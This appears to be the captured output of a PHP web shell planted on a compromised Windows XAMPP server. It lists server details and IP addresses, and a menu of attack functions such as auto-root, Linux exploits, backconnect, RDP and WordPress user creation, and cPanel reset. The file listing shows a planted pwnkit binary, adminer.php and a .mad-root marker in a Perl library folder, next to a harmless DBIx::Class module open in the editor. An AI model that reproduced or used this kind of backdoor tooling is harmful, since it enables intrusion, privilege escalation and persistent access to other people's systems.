Windows NT IZOXMIX7871CBCZ 6.3 build 9600 (Windows Server 2012 R2 Datacenter Edition) AMD64
Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
: 172.23.17.241 | : 216.73.216.214
Cant Read [ /etc/named.conf ]
8.2.12
Administrator
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
[ C ]
C: /
xampp /
perl /
vendor /
lib /
DBIx /
Class /
CDBICompat /
[ HOME SHELL ]
Name
Size
Permission
Action
.mad-root
0
B
-rw-rw-rw-
AbstractSearch.pm
1.09
KB
-rw-rw-rw-
AccessorMapping.pm
2.01
KB
-rw-rw-rw-
AttributeAPI.pm
668
B
-rw-rw-rw-
AutoUpdate.pm
900
B
-rw-rw-rw-
ColumnCase.pm
1.98
KB
-rw-rw-rw-
ColumnGroups.pm
4.43
KB
-rw-rw-rw-
ColumnsAsHash.pm
2.57
KB
-rw-rw-rw-
Constraints.pm
1.77
KB
-rw-rw-rw-
Constructor.pm
673
B
-rw-rw-rw-
Copy.pm
1.06
KB
-rw-rw-rw-
DestroyWarning.pm
451
B
-rw-rw-rw-
GetSet.pm
639
B
-rw-rw-rw-
ImaDBI.pm
3.85
KB
-rw-rw-rw-
Iterator.pm
1.59
KB
-rw-rw-rw-
LazyLoading.pm
2.84
KB
-rw-rw-rw-
LiveObjectIndex.pm
2.48
KB
-rw-rw-rw-
NoObjectIndex.pm
1.03
KB
-rw-rw-rw-
Pager.pm
499
B
-rw-rw-rw-
ReadOnly.pm
288
B
-rw-rw-rw-
Relationship.pm
1.08
KB
-rw-rw-rw-
Relationships.pm
5.45
KB
-rw-rw-rw-
Retrieve.pm
1.94
KB
-rw-rw-rw-
SQLTransformer.pm
3.16
KB
-rw-rw-rw-
Stringify.pm
451
B
-rw-rw-rw-
TempColumns.pm
2.2
KB
-rw-rw-rw-
Triggers.pm
971
B
-rw-rw-rw-
adminer.php
465.43
KB
-rw-rw-rw-
pwnkit
10.99
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Constraints.pm
package # hide from PAUSE DBIx::Class::CDBICompat::Constraints; use strict; use warnings; sub constrain_column { my $class = shift; my $col = $class->find_column(+shift) or return $class->throw_exception("constraint_column needs a valid column"); my $how = shift or return $class->throw_exception("constrain_column needs a constraint"); if (ref $how eq "ARRAY") { my %hash = map { $_ => 1 } @$how; $class->add_constraint(list => $col => sub { exists $hash{ +shift } }); } elsif (ref $how eq "Regexp") { $class->add_constraint(regexp => $col => sub { shift =~ $how }); } else { $how =~ m/([^:]+)$/; # match is safe - we throw above on empty $how my $try_method = sprintf '_constrain_by_%s', lc $1; # $how->moniker; if (my $dispatch = $class->can($try_method)) { $class->$dispatch($col => ($how, @_)); } else { $class->throw_exception("Don't know how to constrain $col with $how"); } } } sub add_constraint { my $class = shift; $class->_invalid_object_method('add_constraint()') if ref $class; my $name = shift or return $class->throw_exception("Constraint needs a name"); my $column = $class->find_column(+shift) or return $class->throw_exception("Constraint $name needs a valid column"); my $code = shift or return $class->throw_exception("Constraint $name needs a code reference"); return $class->throw_exception("Constraint $name '$code' is not a code reference") unless ref($code) eq "CODE"; #$column->is_constrained(1); $class->add_trigger( "before_set_$column" => sub { my ($self, $value, $column_values) = @_; $code->($value, $self, $column, $column_values) or return $self->throw_exception( "$class $column fails '$name' constraint with '$value'"); } ); } 1;
Close